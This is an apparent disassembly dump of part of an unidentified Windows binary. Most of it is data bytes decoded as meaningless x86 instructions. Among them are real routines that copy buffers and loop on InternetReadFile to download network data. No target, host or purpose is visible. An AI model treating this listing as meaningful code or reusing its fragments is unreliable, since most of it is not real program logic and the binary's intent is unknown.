inc ebp
dec ebp
inc ebp
add byte [edx], ch
xor dword [ebp + 0x4d], eax
push ebp
jo 0x420b87
sub eax, 0x56504e5b
pop ebx
dec esi
push eax
push esi
inc esp
push esi
outsd dx, dword [esi]
add byte [esi + 0x69], ch
imul ecx, dword [esi + 0x5a], 0x6870597d
dec esi
pop edx
jge 0x420bbf
jo 0x420bd0
cmp bl, byte [esi + edi*2 + 0x67]
inc esp
push esi
outsd dx, dword [esi]
add byte [edx], dh
dec eax
add byte [ecx + 0x3f], al
inc ecx
aas
push 0x54624f00
pop edx
xor bh, byte [ebx]
inc edi
outsb dx, byte [esi]
bound edx, qword [edx + ebx*2 + 0x32]
cmp eax, dword [edi + 0x6e]
imul esi, dword [edx], 0x23410048
jno 0x420bc2
aas
insd dword es:[edi], dx
cmp al, byte [eax]
jns 0x420baf
add byte [ecx + 0x22], bh
pushaw
pushal
sub dword [eax + 0x4f], esi
cmp esp, dword [ebx]
jno 0x420bd2
aas
sub al, 0x5e
cmp cl, byte [ecx + 0x74]
xor esi, dword [ecx + 0x6e]
dec ecx
ja 0x420ba3
jbe 0x420ba5
push edi
popal
and ch, byte [esi + ebx*2]
cmp cl, byte [ecx + 0x39]
push ebp
imul ebx, dword [edx + 0x36], 0x22
pop edi
push 0x31
pop ebx
je 0x420c31
pop edx
and bl, byte ss:[edi + 0x6a]
xor dword [ebx + 0x74], ebx
jns 0x420c1f
add byte [eax], al
add byte [eax], al
sub bh, byte [ecx]
push ebp
imul ebx, dword [edx + 0x3f], 0x45
pop edx
aas
inc ebp
daa
add byte [ecx], al
push 0x33
js 0x420c13
ja 0x420c0c
pop edi
pop edx
xor dword [edi], edi
aas
inc ebp
daa
add byte [ecx + ebx*2], bh
add byte [edx + 0x29], dh
inc eax
bound eax, qword [eax]
cmp ebx, dword [esi + 0x3f]
sub al, 0x5c
dec eax
imul eax, dword [eax], 0x7200593c
inc edi
popal
inc esi
push ecx
add byte [eax], al
pop esi
and eax, 0x73794635
cmp edi, dword [ebx + edx*2 + 0x5d]
inc edi
popal
inc esi
push ecx
xor dh, byte [0x275f4d7e]
add byte [ecx], dl
pop esp
aas
je 0x420c36
xor ch, byte [edi + 0x61]
xor dh, byte [0x316e4d7e]
jge 0x420c48
xor al, 0x52
push edx
inc esi
cmp eax, 0x5e7e007d
arpl word [edx + 0x46], si
arpl word [esi + 0x6e], cx
dec esi
outsb dx, byte [esi]
xor dword [ebp + 0x34], edi
jns 0x420c66
push esi
dec ebp
jle 0x420ca7
cmp edi, dword [esi]
insb byte es:[edi], dx
dec ecx
je 0x420c63
add byte [edi + 0x21], al
pop ecx
jns 0x420c76
inc edi
and dword [ecx + 0x79], ebx
inc eax
push esi
dec ebp
je 0x420c9d
pop esi
arpl word [eax + 0x6b], si
jae 0x420c6c
inc eax
popal
imul eax, dword [eax], 0x48
pop eax
push esp
je 0x420cad
pop esi
xor ebx, ebx
xor esi, esi
jmp 0x421480
mov ebx, dword [esp + 0x3c]
test ebx, ebx
je 0x4214b2
add byte [ebx], al
pop ds
add ebx, dword [edi]
mov dword [esp], ebx
call fcn.0041b2f0
mov ebp, eax
test esi, esi
je 0x42107a
invalid
add byte [eax], al
xor dl, byte [ebp + 0x4e]
pop esp
inc edi
inc edx
push esi
add byte [edi + 0x57], bl
dec esp
cmp eax, 0x6e582e
xor dl, byte [ebp + 0x4e]
pop esp
xor al, byte [eax + 0x3b]
xor ebp, dword [edi]
and eax, dword [edi]
jno 0x420cbf
jne 0x420cce
pop esp
jge 0x420ceb
and dh, byte [edx]
inc eax
cmp esi, dword [ebx]
add byte [eax], al
pop esp
arpl word [esi], bp
dec ebp
jle 0x420ca8
add byte [edx + 0x37], cl
dec edx
aaa
outsd dx, dword [esi]
sub dword [edi + 0x50], edx
push eax
add byte [eax], al
add byte [ebx], bl
arpl word [edx + 0x4e], cx
jb 0x420ce1
ja 0x420cfc
pop edi
add byte [esp + ebp*2 + 0x56], cl
insb byte es:[edi], dx
push esi
and esi, dword [edi]
push 0x4e4a6300
add byte [edi], ah
add byte [edi], dh
js 0x420d0d
push esp
push esp
inc ebp
inc edx
cmp eax, 0x78487e24
cmp al, 0
add byte [bx + si], al
inc ecx
outsb dx, byte [esi]
ja 0x420d0e
add byte [esi + edi*2], dh
xor al, 0x7e
add byte [edi + 0x2b], dl
inc edi
daa
pushal
push esp
ja 0x420d23
aaa
inc ecx
outsb dx, byte [esi]
ja 0x420d1e
jge 0x420cf2
and eax, 0x2147006a
add byte [edx + esi + 0x2b], cl
arpl word [esi + 0x3c], bp
inc edx
outsb dx, byte [esi]
cmp al, 0x42
push ebp
jge 0x420d02
and eax, 0x344a3f6a
xor dword [esi], esi
and eax, 0x552d5557
push ebp
inc esi
jo 0x420d7f
dec ecx
push ebx
push edx
aas
dec edx
xor al, 0x31
jbe 0x420d86
add byte [ebp], bh
insb byte es:[edi], dx
add byte gs:[edi + 0x47], dh
xor eax, 0x36586a3a
jbe 0x420d96
add byte [ebp + ebp*2 + 0x48], cl
cmp cl, byte [edx]
jge 0x420d6f
add byte [esi + edi*2], bh
dec ebx
cmp dword [ecx], esi
push 0x4c
insd dword es:[edi], dx
dec eax
cmp bh, byte [edx]
and edi, dword [ebx + esi*2 + 0x7d]
add byte [eax + 0x54], cl
and eax, dword [eax]
bound edi, qword [ebx]
pop esp
inc esp
sub dword [edx], edi
and edi, dword [ebx + esi*2 + 0x76]
jns 0x420d84
sub eax, 0x4b3f676c
pop eax
dec ecx
jno 0x420dc5
jle 0x420ddb
jbe 0x420d94
jns 0x420d94
push edx
aas
add byte [edi + 0x22], al
inc edx
pop ebx
bound ecx, qword [ebp + eax*2 + 0x5d]
outsd dx, dword [esi]
inc ebp
sub byte [eax], al
push edx
aas
add byte [ebp + 0x31], bh
dec ebp
inc edx
sub bl, byte [ecx + 0x46]
xor byte [ecx], bl
pop ecx
add byte [eax + ebx*2 + 0x31], ah
aas
pop eax
xor dword [edi], edi
inc esi
pop esp
jge 0x420dbf
dec ebp
inc edx
jl 0x420dba
sub dword [esi + 0x53], ebp
push ebx
dec ecx
sub al, 0x4d
daa
aaa
add byte [ebp + 0x52], cl
imul esp, dword [ebp + 0x23], 0x6e29287c
sub dword [eax], eax
outsb dx, byte cs:[si]
pop ebp
sub eax, 0x4f236567
dec edx
aas
push esp
sub dword [edi], esp
sub dword [eax], eax
dec edx
cmp cl, byte [edx + 0x7d]
sub dword [edx + 0x43], esp
dec edx
jge 0x420de6
bound eax, qword [ebx + 0x32]
add byte [ecx + 0x2c], cl
pushal
xor al, byte [eax]
dec esp
and dword [eax], ebp
bound edx, qword [edx + 0x29]
dec edx
cmp cl, byte [edx + 0x7d]
add byte [edx + 0x5f], bl
jae 0x420e3b
bound edx, qword [esi + 0x55]
inc edx
pop edx
dec eax
sub byte [ebp + 0x49], ah
cmp al, 0x38
add byte [edx + 0x5f], bl
cmp byte [eax], al
pop edx
pop edi
jae 0x420e49
jnp 0x420de3
xor dword [edx], esi
pop edi
cmp byte [eax], al
pushal
dec ebp
xor dword [eax], eax
outsb dx, byte [esi]
xor ebp, dword [edx]
push 0x6931007b
xor eax, 0x77242c2e
jb 0x420e60
js 0x420e3f
insd dword es:[edi], dx
dec esp
pop ebx
inc ebx
inc ebp
imul esi, dword [0x39002c2e], 0x6f256730
outsb dx, byte [esi]
pop esp
ja 0x420e68
jge 0x420e67
and ch, byte [eax]
add byte [eax], al
cmp dword [eax], esi
cmp bl, byte [bp + si + 0x5b]
xor byte [ecx], dh
xor al, 0x3a
dec ebx
cmp eax, 0x23663e2d
outsb dx, byte [esi]
push 0x3a
pop edx
pop ebx
xor byte [edi + 0x7e], al
dec eax
pop esi
dec ebp
push edi
add byte [ebp*2 + 0x3c223e71], ch
daa
and bh, byte [edi]
add byte [ebx + 0x47], ch
jle 0x420e8b
imul eax, dword [edi + 0x7e], 0x48
pop esi
das
push edx
and al, 0x4a
xor bl, byte [edi + 0x21]
aas
pop edi
and dword [edi], edi
push 0x65
push eax
cmp edi, dword cs:[eax]
xor dword [ebx + 0x2f], ecx
push edx
and al, 0x4a
dec ebx
sub byte [edx + 0x69], dl
ja 0x420ecd
js 0x420ebb
jo 0x420ea4
pop ebp
push esi
sub dl, byte [edx + 0x7b]
inc ecx
dec ebx
sub byte [edx + 0x69], dl
inc edx
jl 0x420ebe
sub dword [esi], edi
push edx
pop eax
and eax, 0x4d004749
add byte [esi], ah
push esi
inc edx
jl 0x420ece
sub dword [ebx], esp
add byte [esp + ebp*2], ah
arpl word [edx], dx
inc ecx
add byte [ebx], ah
inc eax
inc eax
sub edi, dword [esi]
jnp 0x420eb4
add byte [esp + ebp*2], ah
add byte [eax + 0x6e], ch
sub al, 0x79
js 0x420f02
add byte [edi + 0x41], dl
je 0x420f0e
add byte [ebx + 0x62], al
inc edi
add byte [eax + 0x6e], ch
sub al, 0x43
sub ecx, dword [esi + ebp*2 + 0x45]
sub eax, 0x754a7a44
cmp cl, byte ds:[edi + ebp*2 + 0x75]
jge 0x420efc
dec esp
outsd dx, dword [esi]
jne 0x420f35
inc ebx
sub ecx, dword [esi + ebp*2]
dec eax
outsb dx, byte [esi]
add byte [eax + 0x41], cl
inc ecx
inc ecx
bound ebp, qword [0x2f673400]
cmp al, byte [esp + 0x65]
aas
dec esp
add byte [eax + 0x41], cl
dec eax
inc ecx
inc ecx
and edi, dword [ebp + 0x32]
xor bh, byte ds:[ecx]
pop ecx
push 0x6b21587c
pushal
je 0x420f03
and edi, dword [ebp + 0x32]
cmp al, 0x75
jae 0x420f51
add byte [eax + 0x3a], cl
xor al, 0x61
xor byte [esi], dh
xor eax, 0x426f4346
cmp al, 0x75
jae 0x420f61
xor eax, dword [eax + 0x2c]
push 0x6b24212a
sub ah, byte [ecx]
and al, 0x6b
jno 0x420f6f
xor esp, dword [ebp + 0x44]
inc esp
dec ebx
push eax
xor ax, word [eax + 0x2c]
push 0x515a5500
pop edx
push ecx
jnp 0x420f87
add byte [ecx + 0x64], dh
xor byte [edx + 0x52], al
push ebp
push 0x55007a36
pop edx
push ecx
add byte [ecx + 0x4f], cl
push ebp
inc ecx
push ebx
add byte [ecx + 0x72], ah
sub byte [edi], ah
inc edi
sub eax, 0x752600
dec ecx
dec edi
push ebp
daa
pop eax
aaa
inc eax
pop edi
add byte [edi + 0x49], dh
add byte [ecx + 0x47], bh
inc eax
jns 0x420f81
outsb dx, byte [esi]
daa
pop eax
aaa
inc eax
cmp eax, 0x53790029
jp 0x420fa4
push edi
pop ebp
je 0x420f8c
push ebx
pop esi
add byte [edx + 0x40], ah
cmp eax, 0x3a790029
push esp
add byte fs:[ebx], bh
dec esp
inc ebp
cmp eax, 0x24570052
pop ebp
inc eax
add byte [edx + edi + 0x54], al
add byte fs:[ebx + 0x3b], bh
add byte [ebx + 0x3b], bh
and dl, byte [ecx + 0x4f]
je 0x420fed
insb byte es:[edi], dx
xor eax, 0x445e7065
jle 0x420fa8
jnp 0x420fbd
cmp esp, dword [edx]
push ecx
jl 0x421004
and dl, byte [ecx + 0x7c]
jle 0x420ffe
ja 0x420ff9
jno 0x420f89
add byte [ebp + 0x6b], al
insb byte es:[edi], dx
inc ebp
imul ebp, dword [edi + esi + 0x4b], 0
add byte [ecx + 0x3e], bl
das
aaa
dec ebx
add byte [eax], al
pop ecx
das
dec esp
jl 0x421014
ja 0x421009
add byte [0x34557942], bh
add byte [ecx + 0x4d], ah
jnp 0x421001
sub byte [eax], al
dec ebp
ja 0x420fa8
add byte [ebp + 0x77], cl
add byte [eax], al
cmp eax, 0x214b7942
add byte [0x214b7942], bh
pop esi
jl 0x420fb2
add byte [edi + ecx*2], dh
pop edx
jb 0x42102c
aas
push eax
outsb dx, byte [esi]
dec ecx
dec ebx
and dword [esi], edi
pop esi
jge 0x42100e
jno 0x42102e
imul ebp, dword [ecx], 0x70
jo 0x420fff
dec edi
dec eax
and al, 0x34
push 0x6a714c7d
add byte [eax], dh
push 0x46
pop esp
add byte [0x2f347037], dh
cmp dh, byte [0x5350]
xor byte [edx + 0x46], ch
cmp byte [ebp + 0x77], bh
pop ebp
push 0x354f406b
and dh, byte [ebx + 0x50]
inc ebx
outsd dx, dword [esi]
cmp bh, byte [eax]
jge 0x421072
inc eax
pop ebp
dec eax
inc ebp
js 0x421030
pop ebp
pop ebp
add byte [ebp + 0x29], dl
jle 0x421049
push ebp
sub dword [esi + 0x41], edi
pop esp
imul ecx, dword [ebx + 0x5e], 0x40
pop ebp
dec eax
inc ebp
sub bh, byte [0x2a00487d]
add byte [edx], ch
inc esi
jle 0x421072
sub ecx, dword [ecx + 0x26]
pop esp
sub bh, byte [0x7722487d]
pop edx
pop ebp
add byte [esi + 0x49], bl
add byte [eax], dh
pop edi
xor byte [edi + 0x78], bl
xor al, 0
pop edx
add byte [edx + 0x22], al
ja 0x421091
js 0x421064
add byte [edx], bl
inc edx
and dh, byte [edi + 0x5a]
pop ebp
jb 0x42103a
and dword [ebx + 0x24], ecx
add byte [ebx], ch
inc eax
jns 0x42108a
daa
push edi
jae 0x42106b
pop ebx
sub al, 0x72
add byte [ecx], ah
dec ebx
push esp
inc ebx
dec edi
arpl word [ebx], si
dec esp
insd dword es:[edi], dx
sub al, 0x42
push ebp
inc esp
sub ebp, dword [edi]
add byte [eax], dh
xor eax, 0x634f4354
mov eax, dword [edi]
mov dword [esp + 4], esi
and al, 4
mov dword [esp], ebp
mov dword [esp + 8], eax
and al, 8
call sub.msvcrt.dll_memcpy
mov dword [esp], esi
call fcn.0041b2c0
inc ebx
dec ebx
insd dword es:[edi], dx
outsd dx, dword [esi]
insd dword es:[edi], dx
popal
xor al, 0x76
inc esp
and eax, 0x7e737c72
add byte [eax + 0x43], dl
inc ebx
dec ebx
insd dword es:[edi], dx
outsd dx, dword [esi]
dec ecx
dec edx
push 0x5e
cmp eax, 0x5c7460
jbe 0x4210f2
xor ecx, dword [ecx + esi*2 + 0x24]
dec ecx
dec edx
push 0x50
cmp dword [eax + 0x36], ebx
add byte [edi], bh
xor eax, dword [eax]
push esi
and dword [0x4b670074], esi
push 0x36583950
inc edx
cmp dword [ecx + 0x38], esp
add byte [di + 0x59], ah
push ecx
inc edi
xor eax, 0x2e443945
xor eax, dword [edx + 0x39]
popal
cmp byte [ebx], bh
dec ebp
jp 0x421113
jo 0x421134
cmp ebp, dword [0x3772296b]
inc ebp
add byte [eax + 0x46], ah
cmp ecx, dword [ebp + 0x7a]
inc ebp
sub eax, 0x24685700
das
dec ecx
push edx
jbe 0x421112
sub byte [esi], bh
aaa
xor byte [ebp + 0x6d], dh
sub eax, 0x72685700
dec esi
jb 0x421142
jle 0x421165
jp 0x421160
add byte [ecx + edi], bh
add byte ds:[eax + 0x3b], bh
pushal
xor esp, dword [edi]
jb 0x421152
jle 0x421175
add byte [eax + eax*2 + 0x69], dl
add byte [eax], al
inc edx
aas
pop esi
cmp al, 0x52
outsd dx, dword [esi]
push 0
inc esp
add byte [eax], al
add byte [eax + eax], al
push esp
inc eax
imul ebp, dword [ebx + 0x78], 0x48535321
arpl word [edi + 0x47], cx
and dh, byte [ebx + 0x2e]
push esi
imul edx, dword [ebx + 0x6c], 0x7c217863
cmp dword [ebp + 0x23], edi
sub eax, 0x61575c46
pop esp
push edi
popal
inc edx
inc ecx
add byte [edi + 0x7d], ch
and dword [ecx + edi + 0x7d], edi
and ebx, dword [edi]
cmp al, 0x5f
pop edi
add byte [edi + ebx*2], bh
and eax, 0x387c7b73
dec eax
push ebx
add byte [edx], dh
pop eax
outsb dx, byte [esi]
push esp
pop edi
add byte [edi + ebx*2], bh
pop edx
push 0x5a
jnp 0x421181
dec esp
push edx
inc esi
inc edi
and dword [ecx], edi
cmp al, 0x6f
jno 0x4211c1
push 0x5a
jl 0x4211a3
dec esi
jb 0x4211d4
xor dh, byte [ebp + 0x44]
cmp ch, byte [ebx]
dec esp
sub al, byte [ebx + 0x40]
jl 0x4211b3
dec esi
inc esi
jae 0x4211b4
add byte [esi + ebp*2 + 0x49], al
dec esi
xor eax, 0x63665555
aas
js 0x4211f5
inc esi
jae 0x4211c4
add byte [ebx + 0x75], dh
inc edi
inc esp
cmp al, 0
xor dword [edi + 0x6c], ebx
jb 0x4211f9
je 0x4211df
aaa
add byte [ebx + 0x75], dh
inc edi
jne 0x4211e3
inc edi
and dword [eax + 0x49], esi
inc ebx
ja 0x4211d0
outsd dx, dword [esi]
inc bx
inc edx
cmp dword [ebx], ebp
outsd dx, dword [esi]
aaa
push 0x4970215c
inc ebx
outsd dx, dword [esi]
dec ebp
push esp
jne 0x421232
bound esi, qword gs:[eax]
jnp 0x4211c4
xor byte [ebx], bh
pop esp
cmp byte [ebx], bh
inc esp
dec ecx
imul ebp, dword [edi + 0x4d], 0x4c657554
push eax
inc esi
jns 0x421251
das
and edx, dword [edi]
push esi
xor eax, 0x34434d
dec esp
dec esp
push eax
inc esi
pop ecx
cmp eax, 0x7e77776c
cmp bl, byte [edx]
cmp dword [eax + 0x50], ebp
xor eax, 0x59322b36
cmp eax, 0x4230776c
ja 0x421227
inc edx
add byte [ebp + 0x41], dh
jne 0x42123c
push 0x5d327b52
push 0x6f452422
inc esp
xor byte [edx], al
jne 0x421267
add byte [ebp + 0x41], al
aaa
xor esp, dword [0x23284630]
add byte [ebx], ch
jp 0x421245
add byte [eax + eax + 0x45], bl
inc ecx
jno 0x421295
cmp dword [esp + ecx*2], esi
cmp dh, byte [ebx + 0x7c]
sub ch, byte [esi + 0x6a]
pop edi
cmp al, 0
xor ah, byte [esi + 0x71]
je 0x42126b
push esi
aas
xor al, 0x59
sub eax, 0x37342124
push ebp
push ebx
imul ebx, dword [edi + 0x31], 0x7b
bound edx, qword [esi + 0x3f]
xor al, 0x59
pop ecx
jno 0x4212ad
sub eax, 0x5943294c
imul esp, dword [ebp + 0x4c], 0x5a756821
dec edi
je 0x4212c8
push 0x744f5a75
jno 0x4212bd
sub eax, 0x42626f4c
sub eax, 0x42626f4c
inc ebx
outsb dx, byte [esi]
jns 0x421261
add byte [ebx], dl
add byte [eax], ch
inc ebp
sub byte [edx + 0x54], dl
outsd dx, dword [esi]
bound eax, qword [edx + 0x43]
dec esp
xor bh, byte [ebx + 0x50]
push esi
je 0x4212b0
push ebx
push edx
sub dword [edi + edi + 0x46], ebp
push ebp
popal
outsd dx, dword [esi]
dec esp
xor bh, byte [ebx + 0x50]
das
push 0x3e
add byte [0x7d2f742f], dh
jns 0x4212c9
and al, 0x6d
pop esi
push edi
and ch, byte [edi]
push 0x3e
add byte [0x5a3544], dh
daa
push eax
add byte [ebx + 0x40], bl
cmp eax, 0x68602d
add byte [0x5b5a3544], dh
add byte [ecx + 0x3f], bl
aas
dec edx
push edi
inc esp
add byte [edi], dh
xor byte [eax + 0x2d], al
cmp eax, dword [eax]
jl 0x4212f3
pop ebx
add byte [ecx + 0x3f], bl
aas
pop esi
inc ebp
dec ebp
xor cl, byte [esi + 0x55]
jbe 0x4212c6
jbe 0x42130b
jno 0x4212ed
and ecx, dword [ebx + 0x26]
dec esp
dec ebx
dec esp
outsb dx, byte [esi]
pop esi
inc ebp
dec ebp
xor dh, byte [ebp + 0x57]
add byte [edx + 0x23], bl
cmp al, 0x7c
add byte [eax], al
inc eax
inc esp
jnp 0x42132b
add byte [ebx + 0x79], dh
jne 0x42133b
add byte [edx + 0x2b], bl
aas
insb byte es:[edi], dx
push edx
jo 0x42134f
add byte [edx + 0x3a], bl
pop ebx
das
pop edx
cmp bl, byte [ebx + 0x2f]
das
inc eax
pop esp
jne 0x421329
sub edi, dword [edi]
insb byte es:[edi], dx
push edx
cmp byte [eax], al
pop eax
xor eax, 0x3f4c6371
dec ecx
push 0x34
pop cx
jle 0x42135b
cmp byte [eax], al
pop eax
add byte [esi], ah
pop eax
add byte [eax + 0x49], dh
jl 0x421348
push 0x4859405c
sub bh, byte [eax + eax]
jle 0x42131d
daa
add byte [eax + 0x49], dh
jl 0x421364
ja 0x421385
jbe 0x421369
dec esp
and eax, 0x79752172
and dword [ebp + 0x79], esi
sub byte [ecx], bh
inc esi
inc eax
inc ecx
ja 0x421395
xor byte es:[esi], ch
sub eax, 0x703a6d28
jge 0x42136c
insd dword es:[edi], dx
cmp dh, byte [eax + 0x7d]
sub al, 0x75
add byte [edx], ah
add byte [eax], al
xor byte [esi], ah
xor byte [esi], ch
jne 0x421342
and al, byte [eax]
add byte [eax], dh
xor byte es:[esi], ch
sub eax, 0x3c3c69
sub eax, 0x3c3c69
push esp
sub al, byte [eax]
inc edx
sub al, 0x60
sub dword [edx + 0x6d], esi
dec esi
inc esi
insb byte es:[edi], dx
imul edi, dword [esp + edi], 0x3a5a6200
jge 0x4213ad
cmp al, 0x3c
add byte [edx + 0x5a], ah
cmp bh, byte [ebp + 0x4a]
and al, 0
bound esp, qword [ecx]
add byte [edx + 0x21], ah
add byte [ebp + 0x3b], bl
sub esi, dword [ebp + 0x6c]
cmp ebp, dword [ebx]
jne 0x4213d9
insb byte es:[edi], dx
add byte [edx + 0x5a], ah
cmp bh, byte [ebp + 0x43]
and edi, dword [0x4a703075]
add byte [ebx + 0x63], bh
outsd dx, dword [esi]
inc ebp
pop edi
sub byte [ebp + 0x2b], cl
inc ebx
and edi, dword [0x244c0075]
inc edx
jne 0x421387
dec esp
and al, 0x42
jb 0x4213b4
js 0x42140a
daa
jns 0x4213c4
js 0x421404
xor al, 0x32
push ebx
add byte [esp + 0x42], cl
xor byte [eax + 0x2f], cl
outsb dx, byte [esi]
and dword [edx], ebp
arpl word [edi], ax
add byte [edx + 0x45], dh
sub ah, byte [edx]
cmp byte [eax], al
xor byte [eax + 0x2f], cl
outsb dx, byte [esi]
add byte gs:[edi + 0x29], bl
dec edi
pop ecx
dec ecx
cmp eax, dword [eax]
cmp eax, 0x24572966
pop ebp
insd dword es:[edi], dx
add byte gs:[edi + 0x29], bl
and edx, dword es:[bp + si + 0x30]
and edx, dword es:[edx + 0x30]
jns 0x4213cc
jns 0x4213fd
jns 0x421412
cmp byte [ecx + 0x36], ah
inc ebp
push eax
push esp
push edi
js 0x4213dc
push eax
inc esi
add byte [eax], al
add byte [ecx + 0x67], dh
add byte [eax + 0x70], dl
inc ebp
push eax
push esp
push edi
sub byte [edi], ah
add byte [eax], al
sub eax, 0x274e3d5c
add byte [edx + 0x4e], dh
daa
inc esp
inc esi
jae 0x421423
daa
add byte [eax], al
push 0x34243a66
add byte [eax + 0x66], ch
cmp ah, byte [esp + esi]
add byte [edi + 0x2b], dl
sub edx, dword [esi + 0x57]
push edi
sub ebp, dword [ebx]
push esi
push edi
cmp esi, dword [esi]
dec ebp
dec ebp
inc esp
and ebp, dword [eax + 0x66]
cmp ah, byte [edi + 0x5a007569]
cmp eax, 0x5a007569
push edx
cmp bh, byte [ebx]
js 0x42141c
dec esi
and eax, 0x6b624b5c
cmp eax, 0x7569
jae 0x42149a
imul esi, dword [ebp], 0x38717300
aas
cmp byte [edi], bh
cmp dword [ebx + 0x24], esi
xor dword [eax + 0x75], edx
jno 0x421488
pop ebx
inc ebp
jne 0x421437
jae 0x4214aa
cmp byte [ecx], ch
dec edi
inc esi
pop edx
push eax
jle 0x4214b1
jae 0x4214b2
sub dword [ebp + 0x69], ecx
cmp al, byte [eax + 0x5c]
sub ch, byte [ecx]
dec edi
inc esi
pop edx
das
and dword [ebx + 0x2b], esi
inc eax
and dword [edi], edi
imul ebx, dword [ebp], 0x48
sub ch, byte [ebp + 0x32]
dec eax
add byte [edi], ch
and dword [ebx + 0x2b], esi
mov eax, dword [edi]
mov ecx, dword [esp + 0x3c]
lea edx, [esp + 0x40]
mov esi, ebp
mov dword [esp + 4], edx
add eax, ebp
mov dword [esp + 8], ecx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
lea eax, [esp + 0x3c]
mov dword [edi], ebx
mov dword [esp + 0xc], eax
and al, 0xc
lea eax, [esp + 0x40]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 8], 0x1000
add byte [eax], dl
add byte [eax], al
mov dword [esp], eax
call dword [sym.imp.WININET.DLL_InternetReadFile]
sub esp, 0x10
test eax, eax
jne 0x420c58
inc dword [eax]
jno 0x421508
add byte [ecx + 0x53], dh
das
sub al, 0x61
arpl word [edx], sp
ja 0x4214fd
dec edi
imul eax, dword [eax], 0x41
arpl word [ebx], sp
add byte [ecx + 0x53], dh
das
push edx
cmp dword [bp + 0x79], edi
inc eax
dec eax
pop esp
jl 0x4214f2
insb byte es:[edi], dx
cmp ah, byte [ecx]
add byte [eax], dh
push edx
cmp dword [bp + 0x41], edi
push eax
bound edi, qword [ebp + 0x31]
and al, 0x36
inc ecx
je 0x421537
jnp 0x421508
inc edx
and dword [0x62504141], ebp
jge 0x42153e
xor al, 0x23
add byte [0x397300], dh
xor eax, 0x397300
jbe 0x421574
xor edx, dword [ebx + 0x2e]
and dh, byte [edi + 0x4f]
ja 0x42154e
xor al, 0x23
add byte [ecx + 0x58], ch
pop edi
dec ecx
jno 0x421570
add byte [bx + di], dh
add byte [ecx], dh
add byte [ecx + 0x34], bh
push esp
pop esi
pop eax
push 0x5f645869
popal
push 0x6f
and dword [ecx], ebp
outsd dx, dword [esi]
inc ebp
pop esi
jge 0x421583
inc edx
xor eax, dword [eax]
push eax
dec ecx
popal
push 0x6f
and dword [eax + 0x65], ebp
and dword [ebx], esp
dec eax
xor al, 0
cmp word [esi + 0x6a], cx
add byte [edi], bh
aas
outsb dx, byte [esi]
popal
push 0x232165
xor eax, dword [eax]
and dword [edx + 0x3d], edi
add byte [ebx], dh
add byte [ecx], ah
jp 0x421581
and eax, 0x4329367b
pushal
insb byte es:[edi], dx
je 0x4215b4
add byte [ebx], dh
add byte [ebx], dh
add byte [ecx], ah
jae 0x421554
push ecx
add byte [edx], ch
aaa
imul ebp, dword [0x78473464], 0x35
xor edx, dword [ecx + 0x23]
jae 0x421564
push ecx
add byte [edi + 0x50], ch
dec ebx
push 0x6c
das
and eax, 0x3d6c5b75
jge 0x4215b7
pop ebx
insb byte es:[edi], dx
cmp eax, 0x6f6a427d
inc edx
push 0x6f
push eax
dec ebx
jb 0x4215b7
sub al, 0x37
add byte ds:[edx + 0x31], cl
add byte [eax + 0x35], cl
xor eax, 0x5e006e30
xor dword [eax], eax
dec eax
xor eax, 0x6e3035
pop esi
jb 0x4215c7
sub al, 0x37
dec esi
sub ah, byte [ebx + 0x49]
sub byte [ecx + 0x7d], bh
jle 0x4215ca
imul eax, dword [edi + 0x72], 0x5f664d68
dec esi
sub ah, byte [ebx + 0x49]
arpl word [edi + 0x7b], bx
outsb dx, byte [esi]
cmp al, 0x55
jl 0x4215eb
dec esi
cmp eax, 0x69754500
popal
add byte [ebx + 0x5f], ah
jnp 0x421624
dec eax
pop ebx
inc ebx
inc ecx
jo 0x421639
ja 0x421619
outsd dx, dword [esi]
cmp al, 0x47
insb byte es:[edi], dx
jbe 0x42162f
jle 0x42160f
pop ebx
inc ebx
cmp byte cs:[bp + di + 0x24], ah
cmp byte [bp + di + 0x24], ah
add byte [edi + 0x5b], bl
sub bh, byte [esi + 0x31]
sub byte [edx + 0x6e], bh
cmp dword [ecx], edi
sub al, 0x67
cmp byte [ebx + 0x24], ah
cmp byte [si + 0x43], ch
outsd dx, dword [esi]
add byte [esi + 0x35], cl
jle 0x42160e
aaa
sub dword ds:[ecx + 0x50], esi
jno 0x42163d
dec ecx
cmp byte [si + 0x43], ch
dec ebp
add byte [edi], ah
aaa
push edx
jns 0x42163a
das
popal
daa
jp 0x421629
inc esi
push eax
inc esi
push 0x4d
add byte [edi], ah
aaa
push edi
arpl word [ebp + 0x38], cx
sub dword [edx], esi
jle 0x421652
add byte [esi + eax*2], bh
cmp al, 0x46
das
das
and eax, 0x6357472f
dec ebp
cmp byte [edx + 0x49], ah
pop esi
dec ebx
aas
push eax
push 0x6376653e
jbe 0x42168a
inc ecx
and eax, 0x6549624e
dec esi
bound ecx, qword [ecx + 0x65]
pop esi
pop edi
inc esi
jns 0x421632
aas
jns 0x42167d
jnp 0x421637
aas
sub byte gs:[edi + 0x4e], dl
sub byte [edi + 0x4e], dl
push edi
dec esi
inc edx
jp 0x42169e
inc esi
jns 0x421642
sub eax, 0x733d3049
insd dword es:[edi], dx
inc eax
imul ebp, dword [ecx + 0x33], 0x2e
aaa
add byte [eax + 0x3f], cl
pop esp
sub eax, 0x4e3d3049
pop edi
xor eax, 0x4d462665
push ebp
bound ebx, qword [edi + 0x5e]
inc ebx
push ecx
jle 0x4216b5
pop edi
xor eax, 0x723f0065
aaa
dec ebx
and ch, byte [ebp + 0x77]
jb 0x4216de
dec ebx
cmp ah, byte [ebx]
pop ebp
add byte [ebx], dl
aas
jb 0x4216b5
aaa
and al, byte [esi + 0x21]
jae 0x4216c8
pop esp
and dh, byte es:[ebx]
pop edi
xor bl, byte [edi + 0x76]
add byte [ebx + 0x57], dh
jbe 0x42168c
jae 0x4216e5
and al, byte [esi + 0x21]
jae 0x4216ed
push edi
imul ecx, dword [ebp + 0x28], 0x534e0067
jle 0x4216e8
daa
ja 0x4216ef
inc ecx
pop edx
push edi
imul ecx, dword [ebp + 0x6f], 0x31004d46
push edi
and edi, dword [ecx]
xor byte [eax], al
jb 0x4216df
push 0x6a
inc edi
jb 0x421726
inc esi
dec ebp
add byte [esi], bh
cmp byte [eax], al
jp 0x421704
add byte [ebp + 0x30], al
jge 0x42171a
inc ebx
inc esi
pop eax
and eax, 0x383e45
jp 0x4216f6
and dh, byte [eax + 0x2b]
sub dword [esi], edi
xor dword [eax + ebx*2 + 0x7b], ebx
xor eax, 0x3f655776
pop ebx
daa
and dh, byte [eax + 0x2b]
push edx
jns 0x421760
pop edx
pop ebp
aaa
push ebx
outsb dx, byte [esi]
